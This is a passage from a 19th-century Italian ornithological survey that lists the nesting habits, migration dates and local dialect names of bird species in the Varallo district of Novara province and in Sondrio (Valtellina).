fa una sola covata dall'aprile alla metà di giugno, deponendo da 3 a 5 uova bigie, cioè grigioastre, con piccole macchie più scure. Il maschio non piglia parte all'incubazione. Non torna al medesimo nido. Varia il modo di costruzione a seconda della località. Il color delle uova può dirsi protettivo. Nidifica di preferenza ne'fori naturali delle piante; ma fa il nido anche nelle cavità dei muri e delle rocce e fra macerie. Nel primo caso non fa nido; nel secondo forma un semplice letto di foglie; nell'ultimo caso costruisce un vero nido con muschi, lana e piume. (Varallo). **Strix flammea.** Fa una sola covata in giugno di 4 o 5 uova biancastre. Non nidifica, deponendo le uova tra le macerie, ne'fori delle muraglie, e sulle alte torri. Il colore delle uova è protettivo. (Varallo). **Syrnium Aluco.** Fa una sola covata in maggio, ordinariamente di 3 o 4 uova biancastre e rotonde. Nell'incubazione prende parte anche il maschio. Comunemente si serve di nidi altrui abbandonati. Nidifica qualche volta nelle boscaglie, allo aperto od entro buchi d'alberi. (Varallo). **Athene Noctua.** Fa una sola covata in maggio di 3 a 5 uova, deponendone una al giorno. Facendo ritorno riprende il nido primiero. Nidifica ordinariamente sui tetti delle case, ne'fori dei muri, e talvolta anche ne'fori delle piante. (Varallo). **Scops Giú.** Nidifica nei crepacci dei monti e nei fori degli alberi in maggio e giugno, deponendo 5 uova biancastre. **Bubo maximus.** Fa una sola covata in aprile o maggio di 2 uova, al più grosse come quelle di gallina, il cui colore tende al giallo rossastro, cioè al colore del mantello o piumaggio della specie. Pare non faccia ritorno al medesimo nido. Tanto il maschio che la femmina concorrono alla formazione del nido. Sceglie i vani degli alberi e delle vecchie muraglie, ma più specialmente nidifica nei crepacci delle montagne. Il nido all'esterno consta di rami secchi intrecciati con radici, internamente di foglie secche. (Varallo). **Aquila Chrysaëlus.** Fa una sola covata in marzo o aprile di 2 o 3 uova al più, che depone di seguito. Le uova hanno color bianco sudicio sfumato da tinta azzurrognola con macchie rossastre scure, specialmente alla estremità più ottusa. Usa del medesimo nido. Nella costruzione del nido prende parte tanto il maschio che la femmina. Nidifica tra i crepacci degli alti monti. Il nido è costrutto con rami in forma di pianerottolo, ricoperto di foglie secche e di fuscelli di erica. (Varallo). **Buteo vulgaris.** Fa una sola covata in maggio o giugno di 2 o 3 uova che depone di seguito. Il colore delle uova è biancastro con macchie gialle. Si serve talvolta dei nidi abbandonati dei Corvi. Tanto il maschio quanto la femmina prendono parte alla formazione del nido. Costruisce sulle rupi elevate e sugli alberi; il nido consta esternamente di fuscelli, ed internamente di piume, lana ed altre materie soffici. (Varallo). **Milvus Ictinus.** Fa una sola covata in aprile o maggio di 3 o 4 uova che hanno colore, ora biancastro, ora grigiastro, ora rossiccio, con macchie brune. Non torna al medesimo nido. Tanto il maschio che la femmina prendono parte alla formazione del nido. Costruisce sugli alberi ed il nido ha la forma e consistenza di quello della specie precedente. (Varallo). **Cerchneis Tinnunculus.** Fa una sola covata dall'aprile al giugno di 5 o 7 uova giallastre e talvolta rossastre. Non torna al medesimo nido; talora si serve di quello del *Corvus Corone*. Tanto il maschio che la femmina prendono parte alla costruzione. Fa il nido sulle torri e anche sulle cime degli alberi lo fabbrica con fuscelli e radici. (Varallo). **Astur palumbarius.** Fa una sola covata in aprile o maggio di 5 o 6 uova. Non torna al medesimo nido. Tanto il maschio che la femmina prendono parte alla formazione del nido. Costruisce su alti alberi ed in ispecie sui larici e abeti. Il nido consta di fuscelli, rivestiti all'interno di materie soffici. (Varallo). **Accipiter Nisus.** Fa una sola covata di 3 a 5 uova in primavera. Le uova variano di colore, ordinariamente sono bianchiccie, picchiettate di giallo rossastro alle estremità. Non torna al medesimo nido. Tanto il maschio che la femmina prendono parte alla costruzione. Nidifica sugli alti rami delle piante conifere. Il nido è simile a quello della specie precedente. **Columba Palumbus.** Pare faccia più d'una covata di 2 o 3 uova bianche. Nella incubazione, che dura circa 14 giorni prende parte anche il maschio. Non fa uso del medesimo nido. Nella costruzione del nido, che è semplicissimo, prende parte anche il maschio. Costruisce verso la cima degli alti alberi, e preferisce luoghi di silenzio e di quiete. In mancanza di meglio però costruiscono anche sulle rocce. Il nido è fatto con ramoscelli e radici rozzamente intrecciati. (Varallo). **Columba Oenas.** Nidifica in Valsesia. Il Sotto-Ispettore di Varallo ne ebbe una nidiata in giugno, presa poco lungi da Varallo. **Turtur tenera.** Fa una e talvolta due covate nella stagione, deponendo 2 uova bianche per covata. All'incubazione prende parte anche il maschio. Non fa uso del medesimo nido. Nella costruzione del nido prende parte anche il maschio. (Varallo). **Perdix saxatilis.** Fa una sola covata, deponendo nei pascoli più elevati da 8 a 18 uova di un color giallo sudicio o rossastro. Non torna al medesimo nido. Non varia il modo di costruzione che è semplicissimo poiché ove deporrà le uova si prepara razzolando una nicchia, vi introduce foglie secche e nulla più. Il maschio pare prenda parte all’ammassamento dei pochi materiali che circondano le uova. Il nido viene fatto nei versanti solati elevati cioè superiormente a 750 metri sul livello del mare e nelle località pascolive cespugliate, o nei boschi cedui, dal maggio al luglio. (Varallo). **Starna Perdix.** Fa talvolta due covate, deponendo nella prima da 15 a 20 uova di color olivastro pallido; nella seconda covata un numero minore. Il maschio non prende parte alla incubazione. Non torna al medesimo nido. Non varia modo di costruzione. Pare che il maschio prenda parte all’ammassamento dei pochi materiali che circondano le uova. Campi a cereali, luoghi cespugliati, boschi cedui ed ericeti sono i siti che presceglie per la deposizione delle uova. (Varallo). **Coturnix communis.** Fa una sola covata in giugno di 10 a 16 uova giallastre o rossicce con macchie brune. L’incubazione dura circa 20 giorni e non vi piglia parte il maschio. Non ritorna al medesimo nido. Non varia modo di costruzione. Pare che il maschio prenda parte all’ammassamento dei pochi materiali, che circondano le uova. Sceglie a preferenza per deporre le uova le praterie e i campi seminati a trifoglio, nascondendole nel più fitto della vegetazione. (Varallo). **Lyrurus Tetrix.** Fa una sola covata in maggio di 6 a 10 uova gialle rugginose sparse in gran numero di grandi e piccole macchie nero-ruggine. Il maschio non prende parte all’incubazione. Depone le uova per terra senza preparazione di sorta. Le località scelte per la covata sono i pascoli alpini, fittamente cespugliati di *Rododendron ferrugineum* e di *Alnus viridis*. (Varallo). **Lagopus mutus.** Fa una sola covata in maggio o giugno, deponendo da 8 a 15 uova oblunghe, gialle rugginose, sparse in gran numero di grandi e piccole macchie nero-ruggine. Il maschio non prende parte all’incubazione. Non costruisce nido, deponendo le uova dove il muschio è piuttosto alto, o sul nudo terreno in luoghi dirupati e rocciosi. (Varallo). Elenco delle specie di uccelli che sono di passaggio regolare nella provincia di Novara. Distretto di Varallo. Scolopax Rusticula. Dal 1° al 15 marzo, e dal 15 al 31 ottobre. Charadrius Pluvialis. Dal 1° al 31 ottobre. Distretto di Crodo. Corvus Corax. Dal 15 novembre al 15 dicembre. Corvus Cornix. Dal 15 novembre al 15 dicembre. Corvus frugilegus. Dal 15 novembre al 15 dicembre. Sturnus vulgaris. Dal 1° al 31 marzo, e dal 1° al 31 dicemb. Fringilla Montifringilla. Dal 15 ottobre al 15 novembre. Passer domesticus. Dal 1° al 15 ottobre. Coccothraustes vulgaris. Dal 1° al 15 ottobre. Ligurinus Chloris. Dal 1° al 31 magg., e dal 1° al 31 dicemb. Carduelis elegans. Dal 15 al tutto marzo, e dal 15 dicembre al 20 gennaio. Chrysomitris Spinus. Dal 15 ottobre al 15 novembre. Chloroptila Citrinella. Dal 15 ottobre al 15 novembre. Cannabina Linota. Dal 15 ottobre al 15 novembre. Ægiothus rufescens. Dal 15 ottobre al 15 novembre. Miliaria Projer. Dal 15 ottobre al 15 novembre. Emberiza Citrinella. Dal 1° al 30 aprile. Emberiza Hortulana. Dal 1° al 30 aprile. Emberiza Cia. Dal 1° al 30 settembre. Emberiza Scheniclus. Dal 1° al 30 settembre. Alauda arvensis. Dal 1° al 15 ottobre. Galerita cristata. Dal 1° al 15 ottobre. Anthus trivialis. Dal 15 ottobre al 15 novembre. Anthus Spipoletta. Dal 15 ottobre al 15 novembre. Budytes flavus. Dal 15 ottobre al 15 novembre. Motacilla alba. Dal 15 al 30 marzo, e dal 1° al 30 settemb. Calobates melanope. Dal 15 ottobre al 15 novembre. Saxicola Oenanthe. Dal 15 al 30 mar., e dal 1° al 30 settemb. Monticola saxatilis. Dal 1° al 31 maggio. Turdus pilaris. Dal 1° al 31 maggio. Turdus musicus. Dal 1° al 15 ottobre. Aëdon Luscinia. Dal 1° al 31 maggio, e dal 1° al 31 dicemb. Ruticilla Phenicurus. Dal 1° al 30 settembre. Ruticilla titys. Dal 1° al 30 settembre. Pratincola Rubicola. Dal 1° al 30 settembre. Monachus Atricapillus. Dal 1° al 31 magg., e dal 15 al 31 ag. Sylvia Curruca. Dal 1° al 15 ottobre. Accentor collaris. Dal 1° al 30 maggio. Lanius Excubitor. Dal 15 maggio al 15 giugno, e dal 15 al 31 agosto. Lanius minor. Dal 15 maggio al 15 giugno, e dal 15 al 31 agosto. Lanius Collurio. Dal 15 maggio al 15 giugno, e dal 15 al 31 agosto. Lanius auriculatus. Dal 15 maggio al 15 giugno, e dal 15 al 31 agosto. Hirundo rustica. Dal 1° al 30 maggio. Chelidon urbica. Dal 1° al 30 maggio. Cypselus Apus. Dal 1° al 30 maggio. Cypselus Melba. Dal 1° al 30 magg., e dal 1° al 30 settemb. Picus major. Dal 1° al 15 ottobre. Iynx Torquilla. Dal 1° al 31 maggio. Cuculus canorus. Dal 1° al 30 luglio. Upupa Epop. Dal 1° al 30 aprile. Strix flammea. Dal 15 magg. al 15 giu., e dal 1° al 30 settemb. Asio Otus. Dal 15 maggio al 15 giugno. Scops Giu. Dal 15 maggio al 15 giugno. Œdicnemus scolopax. Dal 15 novembre al 15 dicembre. Scolopax Rusticula. Dal 15 febbraio a tutto marzo, e dal 15 dicembre al 20 gennaio. Gallinago caelestis. Dal 15 ottobre al 15 novembre. Totanus Ochropus. Dal 15 al 30 marzo, e dal 15 novembre al 15 dicembre. Distretto di Piedimulera. Corvus Corax. Novembre e dicembre. Corvus Cornix. Novembre e dicembre. Sturnus vulgaris. Dal 1° al 31 marzo, e dal 15 settembre al 15 novembre. Ligurinus Chloris. Dal 15 settembre al 15 ottobre. Chrysomitris Spinus. Dal 15 al 31 ottobre. Cannabina Linota. Dal 15 settembre al 15 ottobre. Emberiza Citrinella. Dal 1° al 15 settembre. Alauda arborea. Dal 1° al 31 marzo, e dal 15 al 30 ottobre.¹ Alauda arvensis. Dal 1° al 31 marzo, e dal 15 al 30 ottobre.¹ Anthus trivialis. Dal 15 al 30 settembre — parte rimangono presso le paludi del Toce. Anthus Spipoletta. Dal 15 al 30 settembre — parte rimangono presso le paludi del Toce. Budytes flavus. Dal 1° al 15 settembre — parte rimangono. Saxicola Oenanthe. Dal 1° al 30 mar., e dal 1° al 15 settemb. Turdus pilaris. Dal 1° al 15 ottobre. Turdus iliacus. Dal 1° al 15 ottobre. Aëdon Luscinia. Dal 15 al 30 aprile, e dal 1° al 15 ottobre. Cyaneula Wolfi. In dicembre e rimane. Hirundo rustica. Dal 1° al 15 aprile, e dal 15 settembre ai primi di ottobre. Cotile rupestris. Dal 1° al 31 marzo, e dal 15 al 31 ottobre. ¹ Queste specie presentarono il fatto di ritornare per qualche giorno durante l’inverno cioè nei giorni 23 e 24 dicembre per causa di variazioni atmosferiche. LOMBARDIA. Sondrio (Galli-Valerio Bruno): La Valtellina, sotto il qual nome si comprende, oltre la provincia di Sondrio, quella porzione della provincia di Como che sta fra il Lario e il così detto Trivio, corre dal Nord-Est all'Ovest sempre serrata fra due catene di monti: le prealpi Orobie al Sud e le Alpi al Nord. Essa confina al Sud colle province di Bergamo e di Brescia; al Nord col cantone Grigione, all'Est col Tirolo tedesco, al Sud col Lario. Due vallate principali costituiscono la Valtellina: Quella dell'Adda, la più lunga, che corre da Est ad Ovest, e quella del Liro che corre da Nord a Sud. In queste due valli principali ne sbucano moltissime altre secondarie, ora strette, orride, dirupate, ora larghe, piane e ben coltivate, che mandano, esclusa quella di Livigno, il contributo delle loro acque ai due fiumi più importanti: il Liro e l'Adda. Annovereremo qui fra le vallate secondarie quella del Mera e la Codera che s'aprono nella valle del Liro; quelle del Masino, del Mallero, la Fontana, del Poschiavino, di Grosio; di Livigno, di Fralle, che stanno sulla destra dell'Adda, quelle del Bitto, del Tartano, la Madre, la Cervia, del Livrio, della Venina, di Belviso, del Frodolfo, sulla sinistra del medesimo fiume. — Le due catene di monti rinserranti la Valtellina, in molti punti si allargano formando bacini di una certa estensione quali quello di Morbegno, di Sondrio, di Groviotto ecc. — In tali condizioni facilmente si comprende come e il piano, e la palude, e la foresta, e il torrente, e il fiume, e il ghiacciaio, e la nuda cresta del monte vi si possano contemporaneamente trovare. Nelle pianure, nelle rive de' fossati e de' fiumi, crescono rigogliosi le Salix alba, viminalis, fragilis, vitellina ecc.; i Populus tremula, canescens, nigra, alba; i Morus alba, nigra; l'Alnus glutinosa; la Daphne laureola, ecc., le quali tutte s'innalzano per breve tratto sui monti. A loro succedono la *Custanex sativa*; la *Juglans regia*; le *Betula alba*, *ovata*, *nana*; i *Pinus abies*, *picea*, *larix*, *sylvestris*, *mugo*, *cembra*; il *Fagus sylvatica*; i *Rhododendron ferrugineum*, *hirsutum*; i *Juniperus communis*, *sabina*, *nana*, ecc. Ma a poco a poco, mano mano che c'innalziamo, tutti questi alberi vanno intisichendo, appaiono qua e là come rara reliquia d'una vegetazione superba, spariscono e cedono il posto alle tisiche erbe rasentanti le basi degli immensi ghiacciai. — Fra quelle piante, fra quegli arbusti, fra quelle erbe, vivono, proliferano, muoiono le varie specie ornitiche che in seguito accuneremo; vivono, proliferano, muoiono: l'*Ursus arctos*; la *Capella rupicapra*; il *Canis vulpes*; le *Mustela martes*, *erminea*, *putorius*, *foina*; il *Sciurus vulgaris*; la *Lutra vulgaris*; i *Myo.vus glis*, *avellarius*; la *Talpa europaea*; il *Meles taxus*; i *Mus decumanus*, *musculus*; l'*Arvicola arvalis*; il *Crossopus fodiens*; la *Crocidura aranea*. Nell'acque degli stagni, de'laghi e de'fiumi, guizzano il *Cottus gobio*; l'*Alburnus alborella*, la *Tinca vulgaris*, il *Salmo fario* ecc.; e vivono i numerosi batraci. Sulle aride rupi corrono velocemente: le *Lacerta viridis*, *muralis*; la *Vipera berus*, l'*Anguis fragilis* ecc. Per l'aria, sulle fronde, sui fiori, sul suolo, vola, combatte, si agitano miriadi d'insetti e Un mondo di viventi atomi, a cui Sembra una stilla di rugiada, un lago; E per girare intorno All'orbe immenso d'una margherita Consumano la vita. **Elenco generale delle specie di uccelli osservate nella provincia di Sondrio, coi nomi volgari locali, ed indicazioni di frequenza, ecc.** *Corvus Corax*, *Corv gross*. Non tanto comune, vive sui monti e di rado discende al piano. Corvus Cornix, Cornagia. Comune. Corvus frugilegus, Corv. Comunissimo, vive al piano. Nucifraga Caryocatactes, Gagia nisciulera. Non tanto comune, vive costantemente sui monti. Pica rustica, Berta. Comunissima, vive in pianura. Garrulus glandarius, Gagia. Comune, vive quasi sempre sui monti, non discendendo se non di rado in pianura. Pyrrhocorax alpinus, Crasc, Crascin. Comunissimo, vive sempre sui monti. Pyrrhocorax Graculus, Crasc, Crascin. Comune, vive sempre sui monti. Sturnus vulgaris, Sturnell. Comunissimo, vive al piano. Pastor roseus. Raro, vive al piano. Fringilla cœlebs, Franguel. Comunissimo, vive tanto al piano che sui monti. Fringilla Montifringilla, Franguel muntan. Vive sui monti, raramente discende al piano; è specie comune. Montifringilla nivalis, Üsell de la nef. Bianchin. Vive sugli alti monti sedentario. Passer montanus, Passer. Comunissima, vive in pianura. Passer Italiae, Passer gross. Vive in pianura e anche in montagna ovunque sono abitazioni; è comunissima. Coccothraustes vulgaris, Sfrison. Comune a mezza montagna. Ligurinus Chloris, Verdon. Comunissimo, vive sui monti e in pianura. Chrysomitrís Spinus, Legiùrin. Comunissimo, vive tanto in pianura che in montagna. Carduelis elegans, Lavarin. Comunissimo, vive preferibilmente in pianura. Serinus hortulanus, Sverzerin. Comunissimo, trovasi in pianura e in montagna. Cannabina Linota, Finett. Comunissimo, vive sui maggenghi e in pianura. Ægiothus rufescens, Cardinalin. Comune, vive specialmente in montagna, ma trovasi alcune volte anche al piano. Pyrrhula europæa, Cifulott, Gemón. Comune, vive sempre in montagna. Loxia Curvirostra, Bec in crus, Becher. Comune, vive costantemente sui monti. Emberiza Citrinella, Spaiarda. Comunissimo, vive sui maggenghi e in pianura. Emberiza Hortulana. Non molto comune, vive al piano e in montagna. Emberiza Cia, Zipp. Comunissimo, vive sui maggenghi e nelle vigne. Emberiza Schœniclus. Non comune, vive in pianura. Calandrella brachydactyla, Gic Giac. Comune in certi anni, in altri no; vive sempre in pianura. Alauda arborea, Tärli, Odolin de crap. Comune, vive tanto in pianura come a mezza montagna. Alauda arvensis, Lodola, Odola, Odola de campagna. Comunissima, vive sempre in pianura. Anthus pratensis, Sguizzeta. Comunissima, vive sui maggenghi e in pianura. Anthus trivialis, Durdina. Comunissima, vive sui maggenghi e in pianura. Anthus Spipoletta, Sguizeton. Comune, vive sui maggenghi e in pianura. Budytes flavus, Buarina. Comune, vive in pianura. Budytes cinereocapillus, Buarina. Comune, vive in pianura. Motacilla alba, Ballarina, Quatremula. Comunissima, vive sempre in pianura. Calobates melanope, Quatremula gialda. Comune, vive in pianura. Saxicola Oenanthe, Cübianc. Comune, vive in pianura e in montagna. Monticola saxatilis, Cuarussa. Comune, vive sempre in montagna. Monticola Cyanus, Passera sulitaria. Comune, vive a mezza montagna, fra le viti. Merula nigra, Merlo. Comunissimo, vive anche in montagna, ma più specialmente in pianura. Merula torquata, Merlo de muntagna. Comune, vive sempre sui monti. Turdus pilaris, Viscarda. Comunissima, vive in montagna e non discende al piano se non nell'inverno. Turdus iliacus, Turd spinard. Vive in montagna e al piano; è comune. Turdus musicus, Turd. Comunissimo, vive in montagna e al piano. Turdus viscivorus, Dress. Comunissima, vive in montagna e non discende se non raramente nell'inverno. Aëdon Luscinia, Rusigneu. Comune, vive al piano. Erithacus Rubecula, Pettross. Vive specialmente ai monti, ma anche al piano; è specie comune. Cyanecula Wolfi. Non molto comune, vive al piano. Ruticilla Phœnicurus, Ciuros. Comunissimo, vive tanto al monte quanto al piano. Ruticilla titys, Ciuros féré. Comune, vive specialmente sui monti dirupati, ma discende anche al piano. Pratincola Rubicola, Taragn? Muratt? Non molto comune, vive in pianura. Pratincola Rubetra, Taragn. Comunissimo, vive sui maggenghi e in pianura. Sylvia orphæa, Bianchet. Comune al piano. Sylvia cinerea. Non comune, vive in pianura. Sylvia Curruca, Bianchett? Non comune, vive in pianura. Monachus Atricapillus, Capnegher. Comune, vive al piano. Monachus hortensis, Bianchett? Comune, vive in pianura. Pyrophthalma melanocephala, Bianchett? Raro, vive in pianura. Phylloscopus sibilator, Tuin. Comune, vive al piano e al monte. Phylloscopus Trochilus, Tuin. Comune, vive in pianura. Phylloscopus rufus, Tuin, Tuit. Comunissimo, vive in montagna e in pianura. Hypolais polyglotta. Non comune, vive al piano. Acrocephalus streperus. Comune, vive al piano. Acrocephalus arundinaceus. Comune, vive in pianura. Locustella naevia. Rarissimo, vive al piano. Troglodytes parvulus, Forabeucc, Trenta pés. Comunissimo, vive in montagna e in pianura. Cinclus aquaticus, Merlo acquireu. Vive al piano e al monte; comunissimo. Accentor collaris, Mattarott. Comune, vive sempre nelle alte montagne. Accentor modularis, Passera luschina, Matelina. Comunissima, vive sui monti da cui non discende se non in pieno inverno. Regulus cristatus, Stelin, Stelletin. Comune, vive sui monti e non li abbandona se non nell'inverno. Regulus ignicapillus, Stelin, Stelletin. Come la specie precedente, ma meno comune. Acredula caudata, Cua lunga. Non abbondante, vive al piano. Acredula rosea, Cua lunga. Comunissima, vive al piano. Parus major, Parasciuela. Comunissima, vive al piano ed al monte. Parus ater, Parasciuela de munt. Comune, vive solo al monte. Cyanistes caeruleus, Muneghina. Comune, vive al piano e al monte. Poecele palustris, Parasciulin de munt. Non comune come le precedenti, vive al piano e al monte. Sitta cæsia, Parulé. Comune, vive al monte. Certhia familiaris, Rampeghin. Comunissimo, vive sempre sui monti. Certhia brachydactyla, Rampeghin. Meno comune della precedente specie, vive al piano. Tichodroma muraria, Reusa. Non comune, vive sulle rupi e in pianura ove sono abitazioni. Oriolus Galbula, Gardé, Merlo alurà. Non comune, vive ai monti e al piano. Ampelis Garrulus. Capita raramente, vive al piano. Lanius minor, Gazzott fluvial. Comune, vive in pianura. Lanius Collurio, Gazzott, Cagnina. Comunissima, vive al piano. Lanius auriculatus, Gazzott. Specie più rara delle precedenti, vive al piano. Muscicapa Atricapilla, Alett. Comunissima ovunque. Hirundo rustica, Rundena. Comunissima, vive al piano. Chelidon urbica. Comunissima, vive specialmente al monte, ma anche al piano. Cypselus Apus, Rondon. Comunissimo, vive in montagna e al piano. Picus major, Picase. Sui monti; non comune. Picus minor. Raro, vive a mezza montagna e al piano. Gecinus viridis, Picasc. Comunissimo, vive al piano e al monte. Iynx Torquilla, Stortacol, Vaca grossa. Comune, vive al piano. Cuculus canorus, Ciicul, Ciuchett. Comune, vive al piano e al monte. Alcedo Ispida, Martin pescadù. Comune, vive al piano. Upupa Epops, Bübola. Comune vive al piano. Strix flammea. Al piano, non comune. Nyctala Tengmalmi. Non comune, vive al monte. Asio accipitrinus. Non comune, vive sui monti. Athene Noctua, Scigueta. Comunissima, vive a mezza montagna tra le viti; raramente cala al piano. Scops Giu, Sciscieu. Non abbondante, vive al piano e al monte. Bubo maximus, Düc. Comune, vive in montagna; qualche volta cala al piano. Aquila Chrysaëtus, Aquila. Comune, sta sempre sugli alti monti. Buteo vulgaris, Aigula. Comunissima, vive ai monti, ma specialmente in pianura. Cerchneis Tinnunculus, Falchett. Comune, vive al piano e a mezza montagna. Accipiter Nisus, Gavinel. Comune, vive particolarmente al piano; raramente ai monti. Gypaëtus barbatus. Forse trovasi ancora sopra Chiavenna. Pelecanus Onocrotalus, Pellicano. Capita raramente. Ardetta minuta, Sgolgin. Comune, vive al piano. Ciconia alba. Di passaggio casuale; presa a Colico. Ciconia nigra. Di passaggio casuale; presa a Colico. Anser segetum, Oca salvadega. Capita raramente al piano. Anas Boscas, Aneda salvadega. Comune, vive al piano. Querquedula Circia, Garganell. Comune, vive al piano. Mergus Serrator. Accidentale nella Valtellina. Columba Palumbus, Pevion salvadegh. Comune, vive al piano. Columba Oenas, Pevion salvadegh. Comune, vive al piano. Turtur tenera, Turtura. Meno comune, vive al piano. Perdix rufa, Pernis. Temo che quella da me esaminata non sia stata presa in Valtellina. Perdix saxatilis, Cuturna. Comunissima, vive sempre in montagna. Starna Perdix, Pernis, Perniseta. Comunissima, vive a mezza montagna fra le viti; qualche volta discende al piano. Coturnix communis, Quaia. Comunissima, vive al piano; qualche volta però fu colta sui monti. Lyrurus Tetrix, Gall de montagna (il ♂), Gallina, Sterla (la ♀), Pullastron (il giovane). Comune, va diminuendo; abita gli alti monti. Bonasa betulina, Franculin. Comune, va diminuendo; vive sugli alti monti, qualche volta scende al piano. Lagopus mutus, Runcase. Abita gli alti monti; è comune. Rallus aquaticus, Grignett. Comune, vive al piano. Ortygometra Porzana, Gilardina. Comune vive al piano. Crex pratensis, Re de quai. Comune, vive al piano. Gallinula chloropus, Grigneton. Comune, vive al piano. Fulica atra, Fulega. Non abbondante nella prov. di Sondrio, vive al piano. Grus communis. Di passaggio e rara. Ægialitis curonica. Non comune, vive al piano. Vanellus Capella, Pavonzin. Comune, vive in pianura. Tringoides Hypoleucus, Piu. Comune, vive in pianura lungo i fiumi. Totanus Ochropus. Nidifica talvolta nella prov. di Sondrio. Totanus stagnatilis. Trovasi qualche volta a Colico. Limosa melanura. Di passaggio in Valtellina. Scolopax Rusticula, Beccazza, Gallinazza. Comune, ma non abbondante se non nelle rigide annate; vive al piano e a mezza montagna. Gallinago major, Sgneppon, Meng. Comune, vive al piano. Gallinago caelestis, Sgneppa. Comune, vive al piano. Gallinago Gallinula, Sgneppin. Comune, vive al piano. Chroocephalus ridibundus, Garigula, Sgulatrei. Abita il lago di Mezzola e il Lario presso Colico; è comunissimo. Elenco delle specie di uccelli che sono sedentarie nella provincia di Sondrio. Corvus Corax. Corvus Cornix. Corvus frugilegus. Nucifraga Caryocatactes. Pica rustica. Garrulus glandarius. Pyrrhocorax alpinus. Pyrrhocorax Graculus. Fringilla celebs. Passer montanus. Passer Italiæ. Montifringilla nivalis. Ligurinus Chloris. Chrysomitris Spinus. Carduelis elegans. Serinus hortulanus. Pyrrhula europæa. Loxia Curvirostra. Emberiza Citrinella. Emberiza Cia. Alauda arvensis. Anthus pratensis. Anthus Spipoletta. Motacilla alba. Calobates melanope. Monticola Cyanus. Merula nigra. ? Merula torquata. Turdus viscivorus. Erithacus Rubecula. ? Ruticilla Phœnicurus. Ruticilla titys. ? Monachus Atricapillus. Troglodytes parvulus. Cinclus aquaticus. Accentor collaris. Accentor modularis. Regulus cristatus. Regulus ignicapillus. ? Acredula caudata. Acredula rosea. Parus major. Parus ater. Cyanistes cæruleus. Pœcile palustris. Sitta cæsia. Certhia familiaris. Certhia brachydactyla. Tichodroma muraria. Picus major. Gecinus viridis. Alcedo Ispida. ? Strix flammea. ? Nyctala Tengmalmi. ? Asio accipitrinus. ? Perdix rufa. Athene Noctua. Perdix saxatilis. Bubo maximus. Starna Perdix. Aquila Chrysaëtus. Lyrurus Tetrix. Buteo vulgaris. Bonasa betulina. Cerchneis Tinnunculus. Lagopus mutus. Accipiter Nisus. ? Fulica atra. ? Anas Boscas. Elenco delle specie di uccelli le quali nidificano nella provincia di Sondrio, con alcune notizie. Corvus Corax. Nel marzo ed aprile, 4 uova. Corvus Cornix. ? Corvus frugilegus. Nucifraga Caryocatactes. Nel giugno. Pica rustica. Nel maggio, 5 uova. Garrulus glandarius. 5 uova. Pyrrhocorax alpinus. Pyrrhocorax Graculus. Fringilla coelebs. Due covate di 6 uova ciascuna. Una nel maggio l'altra nel luglio, alla fine. Montifringilla nivalis. Allo Spluga. Passer montanus. Nel maggio e nell'agosto. Uova 6 o 7. Passer Italiæ. 6 uova in maggio ed agosto. Coccothraustes vulgaris. Ligurinus Chloris. Chrysomitris Spinus. Nel marzo. Carduelis elegans. 4 o 6 uova. Serinus hortulanus. Maggio. Cannabina Linota. Ægiothus rufescens. Luglio. Pyrrhula europæa. Nel luglio. Loxia Curvirostra. In marzo. Emberiza Citrinella. Emberiza Hortulana. Alauda arborea. Alauda arvensis. ? Anthus pratensis. Anthus trivialis. Anthus Spipoletta. Budytes flavus. Budytes cinereocapillus. Motacilla alba. Nel giugno. Calobates melanope. Saxicola Oenanthe. Monticola saxatilis. Monticola Cyanus. Nel maggio. Merula nigra. Nel maggio e nel luglio. Due covate di 5 uova ciascuna. Merula torquata. Turdus musicus. Turdus viscivorus. Aëdon Luscinia. Nella 2ª metà di maggio. Erithacus Rubecula. Ruticilla Phœnicurus. Ruticilla titys. Pratincola Rubetra. Sylvia orphæa. In maggio. Monachus Atricapillus. Nel maggio. Mette 4 o 6 uova. Monachus hortensis. Nell’agosto. Acrocephalus streperus. Acrocephalus arundinaceus. Nel maggio o nel giugno. Troglodytes parvulus. Cinclus aquaticus. Accentor collaris. Accentor modularis. Nel luglio. Regulus cristatus. Nel giugno. Regulus ignicapillus. Acredula rosea. Due covate di 16 uova ciascuna. La prima nel marzo la seconda nel maggio. Parus major. Nel maggio e nel luglio. Fa due covate generalmente di 8 uova. Parus ater. Nel maggio e nell’agosto. Cyanistes caeruleus. Poecile palustris. Sitta caesia. Certhia familiaris. Certhia brachydactyla. Oriolus Galbula. Nel maggio. Lanius minor. Nel giugno. Lanius Collurio. Nel giugno. Uova 5 o 6. ?Lanius auriculatus. Muscicapa Atricapilla. Hirundo rustica. Due covate di 6 o 4 uova ciascuna. La prima in aprile la seconda in luglio (fine). Chelidon urbica. Due covate di uova 4 ciascuna. La prima nel maggio la seconda nel luglio. Cypselus Apus. Nel giugno. Gecinus viridis. ?Lynx Torquilla. Cuculus canorus. Nel luglio. Alcedo Ispida. Upupa Epopos. Maggio, covata di 3 uova. Strix flammea. Athene Noctua. Maggio o giugno. Una covata di 2 o 3 uova. Asio accipitrinus. Agosto. Bubo maximus. Aprile o maggio. Una covata di 2 uova. Aquila Chrysaëtus. Una covata di 2 uova nel giugno. Buteo vulgaris. Una covata di 4 uova nel giugno. Cerchneis Tinnunculus. Una covata nel maggio. Accipiter Nisus. Ardetta minuta. Nel maggio e nel giugno. Mette 5 uova bianche. Anas Boscas. ?Querquedula Circia. Columba Palumbus. Aprile e maggio. Columba Oenas. Aprile e maggio. Turtur tenera. Nel maggio e nel giugno. Mette 2 uova bianche. Perdix saxatilis. Nel maggio. Mette 14 o 15 uova. Starna Perdix. Nel maggio e giugno. Mette 20 uova. Coturnix communis. Due covate. Una nel maggio l'altra nel luglio, ciascuna di 9 a 11 uova. Lyrurus Tetrix. Bonasa betulina. Lagopus mutus. Rallus aquaticus. Ortygometra Porzana. Gallinula chloropus. Crex pratensis. Nel giugno. ?Fulica atra. ?Ægialitis curonica. Tringoïdes Hypoleucus. Nel maggio. Mette 4 uova. Totanus Ochropus. Elenco delle specie di uccelli che sono di passaggio regolare nella provincia di Sondrio. Sturnus vulgaris. In primavera e nell'ottobre. Calandrella brachydactyla. Seconda quindicina del settembre. Anthus pratensis. Giunge in ottobre, parte in marzo. Turdus pilaris. Arriva in novembre, parte in febbraio. Turdus iliacus. Giunge in novembre, parte in febbraio. Cyanecula Wolfi. Nella seconda quindicina di agosto e nei primi di settembre passano i maschi; le femmine passano alla fine del settembre. Mergus Serrator. Nella prima metà di novembre. Vanellus Capella. Fine ottobre e primi novembre e ancora nel marzo. Scolopax Rusticula. Alla fine dell'ottobre e ai primi del novembre. Gallinago major. In primavera, più raro in autunno. Gallinago caelestis. Incomincia il passo nella seconda quindicina di agosto. 